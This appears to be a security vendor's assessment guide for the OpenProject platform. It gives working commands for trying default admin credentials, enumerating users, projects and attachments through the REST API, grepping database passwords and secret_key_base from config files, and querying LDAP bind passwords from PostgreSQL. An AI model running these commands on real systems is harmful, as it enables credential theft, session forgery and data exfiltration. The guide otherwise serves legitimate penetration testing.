OpenProject is a widely deployed open-source project management platform used in enterprises, government agencies, and engineering organizations for managing projects, work packages, Gantt timelines, budgets, and sensitive planning documents. Its extensive REST API and integration with organizational LDAP/Active Directory makes it an important target for security assessment. Key assessment areas: OpenProject defaults to admin/admin; the REST API token provides access to all projects, work packages, meeting notes, and uploaded attachments; configuration.yml stores the PostgreSQL database password; LDAP bind credentials are stored in the database; and the /api/v3/users endpoint with an admin token exposes all user accounts with email addresses. This guide covers systematic OpenProject security assessment.
# OpenProject — default credentials and API token authentication
OP_URL="https://openproject.example.com"
OP_TOKEN="your-openproject-api-token"
# Default credentials: admin / admin (forced change on first login in recent versions)
# Also try: admin / openproject, admin / password
# Test basic auth with API token
curl -s "${OP_URL}/api/v3/users/me" \
-H "Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)" 2>/dev/null | python3 -c "
import json,sys
u=json.load(sys.stdin)
print(f'User: {u.get(\"login\")} ({u.get(\"firstName\")} {u.get(\"lastName\")}) email={u.get(\"email\")}')
print(f'Admin: {u.get(\"admin\")} status={u.get(\"status\")}')
print(f'ID: {u.get(\"id\")}')
" 2>/dev/null
# Enumerate all projects the token user can access
curl -s "${OP_URL}/api/v3/projects?pageSize=100" \
-H "Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
projects = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Projects: {total}')
for p in projects:
print(f' [{p.get(\"id\")}] {p.get(\"name\")} status={p.get(\"status\")} public={p.get(\"public\")}')
print(f' Description: {str(p.get(\"description\",{}).get(\"raw\",\"\"))[:80]}')
" 2>/dev/null
# OpenProject work package and attachment enumeration
OP_URL="https://openproject.example.com"
OP_TOKEN="your-openproject-api-token"
AUTH="Authorization: Basic $(echo -n "apikey:${OP_TOKEN}" | base64)"
# All work packages across all accessible projects
curl -s "${OP_URL}/api/v3/work_packages?pageSize=100&sortBy=[[\"updatedAt\",\"desc\"]]" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
wps = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Work packages: {total}')
for w in wps[:20]:
assigned = w.get('_embedded',{}).get('assignee',{})
print(f' [{w.get(\"id\")}] {w.get(\"subject\")} status={w.get(\"_embedded\",{}).get(\"status\",{}).get(\"name\")}')
print(f' Priority: {w.get(\"_embedded\",{}).get(\"priority\",{}).get(\"name\")} assigned={assigned.get(\"login\",\"unassigned\")}')
print(f' Description: {str(w.get(\"description\",{}).get(\"raw\",\"\"))[:100]}')
" 2>/dev/null
# Download all file attachments — project documents and deliverables
curl -s "${OP_URL}/api/v3/attachments?pageSize=100" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
attachments = d.get('_embedded',{}).get('elements',[])
total = d.get('total',0)
print(f'Attachments: {total}')
for a in attachments[:20]:
dl = a.get('_links',{}).get('downloadLocation',{}).get('href','')
print(f' [{a.get(\"id\")}] {a.get(\"fileName\")} size={a.get(\"fileSize\")} type={a.get(\"contentType\")}')
print(f' Download: {dl}')
" 2>/dev/null
# Enumerate all users (admin token required)
curl -s "${OP_URL}/api/v3/users?pageSize=200" \
-H "${AUTH}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('_embedded',{}).get('elements',[])
print(f'Users: {d.get(\"total\",0)}')
for u in users[:20]:
print(f' [{u.get(\"id\")}] {u.get(\"login\")} ({u.get(\"firstName\")} {u.get(\"lastName\")}) email={u.get(\"email\")} admin={u.get(\"admin\")}')
" 2>/dev/null
# OpenProject configuration.yml and LDAP credential extraction
# configuration.yml — database password and email credentials
grep -E "database:|password:|secret|production:" -A 10 \
/home/openproject/openproject/config/configuration.yml 2>/dev/null
# production.database.password — PostgreSQL password
# Docker/packaged installation
grep -E "DATABASE_URL|SECRET_KEY_BASE|OPENPROJECT_DB_PASSWORD" \
/etc/openproject/conf.d/openproject 2>/dev/null
# LDAP authentication settings in PostgreSQL database
su -c "psql -d openproject" openproject 2>/dev/null << 'EOF'
SELECT id, name, hostname, port, tls_mode,
account, account_password, base_dn, filter_string,
login_mapping_attribute, mail_mapping_attribute
FROM ldap_auth_sources;
EOF
# account — LDAP bind DN (service account)
# account_password — LDAP bind password
# IncomingMail settings — IMAP/POP3 credentials for email-to-task integration
su -c "psql -d openproject -c \"SELECT setting, value FROM settings WHERE setting IN ('mail_handler_body_delimiters','mail_from','autologin') LIMIT 20\"" openproject 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Default admin/admin credential exploitation | POST login with admin:admin — provides full OpenProject admin access; all projects, work packages, attachments, meeting notes, budgets; LDAP settings with bind credentials; user management | Critical |
| Work package and project data enumeration | GET /api/v3/work_packages — returns all work items across all accessible projects; includes task descriptions, comments, assignees, deadlines, and custom field values which may contain sensitive planning data | Critical |
| Attachment download — all uploaded project documents | GET /api/v3/attachments — lists all uploaded files with download URLs; project deliverables, technical specs, financial documents, contracts, and internal reports stored as work package attachments | Critical |
| LDAP bind credential extraction from database | PostgreSQL query on ldap_auth_sources — account and account_password columns; Active Directory bind credentials for the OpenProject service account enabling AD enumeration | Critical |
| configuration.yml secret_key_base extraction for session forgery | Read configuration.yml — secret_key_base enables forging Rails session cookies for any OpenProject user account; database_password enables direct PostgreSQL access to all project data and user bcrypt hashes | Critical |
Ironimo tests OpenProject deployments for default admin credential exploitation, REST API project and work package enumeration, attachment download and document access, LDAP bind credential extraction from ldap_auth_sources, configuration.yml secret_key_base session forgery testing, database password access, admin user enumeration via /api/v3/users, project visibility misconfiguration assessment, and Rails secret exposure testing.
Start free scan